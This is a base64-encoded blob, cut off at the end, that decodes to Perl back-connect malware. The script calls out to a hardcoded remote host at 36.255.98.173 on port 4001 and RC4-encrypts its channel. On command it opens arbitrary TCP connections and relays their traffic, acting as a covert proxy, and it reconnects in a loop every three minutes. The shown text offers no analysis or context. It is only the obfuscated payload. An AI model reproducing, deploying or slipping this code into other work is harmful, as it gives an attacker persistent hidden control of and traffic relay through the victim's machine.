OwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkY